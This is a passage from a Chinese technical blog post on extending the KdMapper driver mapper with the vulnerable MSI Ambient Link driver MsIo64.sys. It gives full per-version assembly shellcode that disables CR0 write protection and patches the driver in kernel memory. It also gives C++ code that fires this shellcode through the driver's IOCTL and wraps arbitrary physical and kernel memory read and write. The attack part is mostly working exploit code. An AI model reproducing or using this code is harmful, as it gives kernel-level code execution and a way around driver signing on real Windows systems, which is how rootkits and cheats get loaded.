[0x1a] 0xf4504ffaf8!+ 0xf4504ffa38 0x2df0000000c
[0x1b] 0x2df0000000c!+ 0xf4504ffa40 0xf4504ffaf0
[0x1c] 0xf4504ffaf0!+ 0xf4504ffa48 0x0
这次是调用的 IofCallDriver, 返回的堆栈平衡也要参考这个函数,如下:
根据上述代码可以看出,在Win11平台上直接 add rsp, 38h 再 ret 就可以了。
完整 ShellCode 代码如下:
ShellCodeWin11 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
xor rax, rax
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin11 ENDP
4.4.6 Win10 22H2 堆栈平衡处理
同 Win11 处理逻辑以及实际代码一样,完整 ShellCode也一样,如下:
ShellCodeWin10_22H2 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
xor rax, rax
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin10_22H2 ENDP
4.4.7 Win10 21H1 和 Win10 21H2 堆栈平衡处理
这两个版本的逻辑和 Win10 22H2差不多,只不过在返回之前要修改一个地方以适应 IopSynchronousServiceTail 的代码逻辑,否则会导致蓝屏。
如上图所示,要修改 a6的值为非0,即修改寄存器 sil 的值为非0。
可能的原因如下,
if ( a6 )
{
......
IopReleaseFileObjectLock((PADAPTER_OBJECT)v17);
}
如果 a6 为0,则不会执行 IopReleaseFileObjectLock, 可能此处导致后绪逻辑出问题。
完整 ShellCode也一样,如下:
ShellCodeWin10_21H1_21H2 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
mov sil, 1
xor rax, rax
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin10_21H1_21H2 ENDP
5.完整关键代码
- shellcode.asm
INCLUDELIB kernel32.lib
.code
ShellCodeWin10_21H1_21H2 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
mov sil, 1
xor rax, rax
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin10_21H1_21H2 ENDP
ShellCodeWin10_22H2 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
xor rax, rax
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin10_22H2 ENDP
ShellCodeWin11 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
;mov rcx, 06f8h
xor rax, rax
;db 0fh
;db 22h
;db 0e1h ;mov cr4,rcx
;jmp $+0h
;mov rbx, [rsp+68h+8h]
add rsp, 038h ;IofCallDriver
ret
ShellCodeWin11 ENDP
ShellCodeWin7 PROC
cli
db 0Fh
db 20h
db 0c0h ;mov rax, cr0
db 0fh
db 20h
db 0c3h ;mov rbx, cr0
and rax, not 010000h
db 0Fh
db 22h
db 0c0h ;mov cr0, rax
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1161
mov word ptr[rax], 17EBh ;需要修改的内存数据 jmp 0x17
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 1111
mov word ptr[rax], 9090h ;需要修改的内存数据 nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 11B2
mov dword ptr[rax], 90909090h ;需要修改的内存数据 nop nop nop
mov rax, 0ffffffffffffffffh ;需要修改的内存地址 125B
mov dword ptr[rax], 33D88949h ;需要修改的内存数据 mov r8,rbx, 0x33
db 0Fh
db 22h
db 0c3h ;mov cr0, rbx
sti
xor rax, rax
mov rbx, [rsp+68h+8h]
add rsp, 040h ;IopSynchronousServiceTail
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
ShellCodeWin7 ENDP
END
- .h 文件
#define MSIO64_DEVICE_TYPE (DWORD)0x8010
#define MSIO64_EXECUTE_SHELLCODE_FUNCID (DWORD)0x810
#define MSIO64_MAP_PHYSICAL_ADDRESS_FUNCID (DWORD)0x810
#define MSIO64_UNMAP_PHYSICAL_ADDRESS_FUNCID (DWORD)0x811
#define IOCTL_MSIO64_EXECUTE_SHELLCODE \
CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_EXECUTE_SHELLCODE_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040
#define IOCTL_MSIO64_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_MAP_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040
#define IOCTL_MSIO64_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_UNMAP_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044
#define PATCH_DRIVER_OFFSET_1161 (0x1161)
#define PATCH_DRIVER_OFFSET_1111 (0x1111)
#define PATCH_DRIVER_OFFSET_11B2 (0x11B2)
#define PATCH_DRIVER_OFFSET_125B (0x125B)
#pragma pack(push)
#pragma pack(1)
typedef struct _MSIO64_PHYSICAL_MEMORY_INFO {
ULONG64 Size;
PHYSICAL_ADDRESS PhysicalAddress;
HANDLE Handle;
PVOID BaseAddress;
PVOID Object;
} MSIO64_PHYSICAL_MEMORY_INFO, * PMSIO_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
typedef enum _PATCH_DRIVER_PLATFORM
{
PLATFORM_UNKNOW = 0,
PLATFORM_WIN7 = 1,
PLATFORM_WIN10_21H1,
PLATFORM_WIN10_21H2,
PLATFORM_WIN10_22H2,
PLATFORM_WIN11
}PATCH_DRIVER_PLATFORM;
typedef struct _PATCH_DRIVER_THREAD_CONTEXT
{
HANDLE hDevice;
PATCH_DRIVER_PLATFORM nPlatform;
PVOID pShellCodeAddress;
}PATCH_DRIVER_THREAD_CONTEXT,*PPATCH_DRIVER_THREAD_CONTEXT;
- .cpp
EXTERN_C void ShellCodeWin7();
EXTERN_C void ShellCodeWin11();
EXTERN_C void ShellCodeWin10_22H2();
EXTERN_C void ShellCodeWin10_21H1_21H2();
const WCHAR* PlatformName[6] = { L"Unkonwn", L"Windows 7", L"Windows 10 21H1", L"Windows 10 21H2", L"Windows 10 22H2", L"Windows 11" };
HANDLE micsys_driver::Load() {
srand((unsigned)time(NULL) * GetCurrentThreadId());
......
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
micsys_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!micsys_driver::PatchDriver())
{
Log(L"[-] Failed to PathDriver" << std::endl);
micsys_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
......
}
TSTATUS micsys_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (!NT_SUCCESS(ntStatus))
{
Log(L"SuperCallDriverEx failed, code: 0x" << std::setbase(16) << std::setfill(L'0') << ntStatus << std::endl);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL micsys_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID micsys_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
PHANDLE Handle,
PVOID* Object
)
{
ULONG_PTR offset;
ULONG mapSize;
MSIO64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.Size = mapSize;
request.Handle = NULL;
request.Object = NULL;
request.BaseAddress = NULL;
if (SuperCallDriver(DeviceHandle,
IOCTL_MSIO64_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
if (Handle)
{
*Handle = request.Handle;
}
if (Object)
{
*Object = request.Object;
}
return request.BaseAddress;
}
Log(L"[!]SuperMapMemory Failed" << std::endl);
return NULL;
}
BOOL WINAPI micsys_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
//ULONG_PTR offset;
HANDLE hSection = NULL;
PVOID pObject;
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
&hSection,
&pObject);
if (mappedSection) {
//offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(mappedSection, Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, mappedSection, NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection, hSection, pObject);
}
else {
Log(L"SuperReadWritePhysicalMemory SuperMapMemory failed\r\n");
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI micsys_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI micsys_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI micsys_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
else
{
Log(L"SuperWriteKernelVirtualMemory SuperVirtualToPhysical failed" << std::endl);
}
return bResult;
}
BOOL WINAPI micsys_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
if (!bResult)
{
Log(L"SuperReadKernelVirtualMemory SuperReadWritePhysicalMemory failed" << std::endl);
}
}
else
{
Log(L"SuperReadKernelVirtualMemory SuperVirtualToPhysical failed" << std::endl);
}
return bResult;
}
VOID micsys_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap,
_In_ HANDLE hSection,
_In_ PVOID Object
)
{
MSIO64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.Handle = hSection;
request.Object = Object;
request.BaseAddress = SectionToUnmap;
SuperCallDriver(DeviceHandle,
IOCTL_MSIO64_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
bool micsys_driver::PatchDriver()
{
HANDLE hDevice = CreateFileW(DOS_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
Log(L"[-] PatchDriver CreateFileW failed" << std::endl);
return false;
}
ULONG64 driverBase = utils::GetKernelModuleAddress(micsys_driver::driver_name);
Log(L"[<] Start Patch Driver" << std::endl);
if (!driverBase)
{
Log(L"[-] PatchDriver Driver Module not found:" << micsys_driver::driver_name << std::endl);
return false;
}
OSVERSIONINFOW osVer = { 0 };
osVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOW);
typedef NTSTATUS(*RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
HMODULE hModNtdll = LoadLibrary(L"ntdll.dll");
if (!hModNtdll)
{
Log(L"[-] PatchDriver LoadLibrary ntdll.dll failed" << std::endl);
return false;
}
RTLGETVERSION RtlGetVersion = (RTLGETVERSION)GetProcAddress(hModNtdll, "RtlGetVersion");
if (!RtlGetVersion)
{
Log(L"[-] PatchDriver RtlGetVersion GetProcAddress failed" << std::endl);
return false;
}
RtlGetVersion(&osVer);
PATCH_DRIVER_PLATFORM nPlatform = PLATFORM_UNKNOW;
if ((osVer.dwMajorVersion == 6) && (osVer.dwMinorVersion == 1))
{
Log(L"[+] Windows 7 Platform" << std::endl);
nPlatform = PLATFORM_WIN7;
}
else if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
((osVer.dwBuildNumber == 22621) || (osVer.dwBuildNumber == 22000)))
{
Log(L"[+] Windows 11 " << std::setbase(10) << osVer.dwBuildNumber << L" Platform" << std::endl);
nPlatform = PLATFORM_WIN11;
}
else if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
(osVer.dwBuildNumber == 19045))
{
Log(L"[+] Windows 10 22H2" << L" Platform" << std::endl);
nPlatform = PLATFORM_WIN10_22H2;
}
else if((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
(osVer.dwBuildNumber == 19044))
{
Log(L"[+] Windows 10 21H2" << L" Platform" << std::endl);
nPlatform = PLATFORM_WIN10_21H2;
}
else if ((osVer.dwMajorVersion == 10) && (osVer.dwMinorVersion == 0) &&
(osVer.dwBuildNumber == 19043))
{
Log(L"[+] Windows 10 21H1" << L" Platform" << std::endl);
nPlatform = PLATFORM_WIN10_21H1;
}
if (nPlatform == PLATFORM_UNKNOW)
{
Log(L"[-] Unsupported Platform" << std::endl);
return false;
}
else
{
PatchDriverImplemetation(hDevice, driverBase, nPlatform);
Log(L"[+] PatchDriver OK\r\n");
return true;
}
}
static void __cdecl micsys_driver::PatchDriverImplemetationThread(void* param)
{
PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)param;
DWORD dwInBufferSize = 0x50;
DWORD dwOutBufferSize = 12;
DWORD dwBytesReturned = 0;
BYTE data[0x48] = { 0 };
PVOID pInBuffer = malloc(0x100);
PVOID pCallAddress = pContext->pShellCodeAddress;
Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread Begin" << std::endl);
if (!pInBuffer)
{
Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread malloc pInBuffer failed" << std::endl);
return;
}
memcpy(&data[0x16], &pInBuffer, 8);
memcpy(pInBuffer, &data, 0x48);
memcpy((CHAR*)pInBuffer + 0x48, &pCallAddress, 8);
BYTE lpOutBuffer[12] = { 0 };
BOOL bOK = DeviceIoControl(pContext->hDevice, IOCTL_MSIO64_EXECUTE_SHELLCODE, pInBuffer, dwInBufferSize, &lpOutBuffer, dwOutBufferSize, &dwBytesReturned, NULL);
if (!bOK)
{
Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread DeviceIoControl failed, Code:" << GetLastError() << std::endl);
}
else
{
Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread End" << std::endl);
}
free(pInBuffer);
free(pContext);
}
bool micsys_driver::PatchDriverImplemetation(HANDLE device_handle, uintptr_t driverBase, PATCH_DRIVER_PLATFORM nPlatform)
{
Log(L"[+] PatchDriver " << PlatformName[nPlatform] <<" Begin" << std::endl);
uintptr_t pPatchAddress1161 = driverBase + PATCH_DRIVER_OFFSET_1161;
uintptr_t pPatchAddress1111 = driverBase + PATCH_DRIVER_OFFSET_1111;
uintptr_t pPatchAddress11B2 = driverBase + PATCH_DRIVER_OFFSET_11B2;
uintptr_t pPatchAddress125B = driverBase + PATCH_DRIVER_OFFSET_125B;
PBYTE pShellCode = NULL;
switch (nPlatform)
{
case PLATFORM_WIN7:
pShellCode = (PBYTE)&ShellCodeWin7;
break;
case PLATFORM_WIN10_21H1:
pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
break;
case PLATFORM_WIN10_21H2:
pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
break;
case PLATFORM_WIN10_22H2:
pShellCode = (PBYTE)&ShellCodeWin10_22H2;
break;
case PLATFORM_WIN11:
pShellCode = (PBYTE)&ShellCodeWin11;
break;
}
DWORD dwOldProtect = 0;
BOOL bChange = VirtualProtect(pShellCode, 512, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if (!bChange)
{
Log(L"[-] PatchDriver " << PlatformName[nPlatform] << " VirtualProtect failed, Code:" << GetLastError() << std::endl);
return false;
}
RtlCopyMemory(pShellCode + 18, &pPatchAddress1161, 8);
RtlCopyMemory(pShellCode + 33, &pPatchAddress1111, 8);
RtlCopyMemory(pShellCode + 48, &pPatchAddress11B2, 8);
RtlCopyMemory(pShellCode + 64, &pPatchAddress125B, 8);
VirtualProtect(pShellCode, 512, dwOldProtect, &dwOldProtect);
PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)malloc(sizeof(PATCH_DRIVER_THREAD_CONTEXT));
if (!pContext)
{
Log(L"[-] PatchDriver pContext allocate failed" << std::endl);
return false;
}
pContext->hDevice = device_handle;
pContext->nPlatform = nPlatform;
pContext->pShellCodeAddress = pShellCode;
_beginthread(PatchDriverImplemetationThread, 0, (PVOID)pContext);
Sleep(1000);
Log(L"[+] PatchDriver " << PlatformName[nPlatform] << " End" << std::endl);
return true;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
6.运行效果
- Win 7 x64
- Win 11 x64
- Win 10 21H2
7. 特别提示
经过测试发现在 Win10 平台和 Win11 平台上,使用虚拟机环境的系统可以测试通过,可能由于装虚拟机的物理机器硬件比较老,一些新的安全机制还不支持,所以未出现问题。
但在实际的新的 Win11 的笔记本物理机上运行导致蓝屏,代码是执行不可执行的内存。这可能由于一些新的安全机制导致,可以在下边的参考文章中找到相关的解释。
8.参考文章
- 《MSI Ambient Link Driver 1.0.0.8 Privilege Escalation》
- 《MSI Ambient Link Multiple Vulnerabilities》
- 《Kernel exploitation: weaponizing CVE-2020-17382 MSI Ambient Link driver》
标签:MsIo64,db,mov,sys,修改,KdMapper,内存,nop,rax From: https://www.cnblogs.com/ImprisonedSoul/p/17727258.html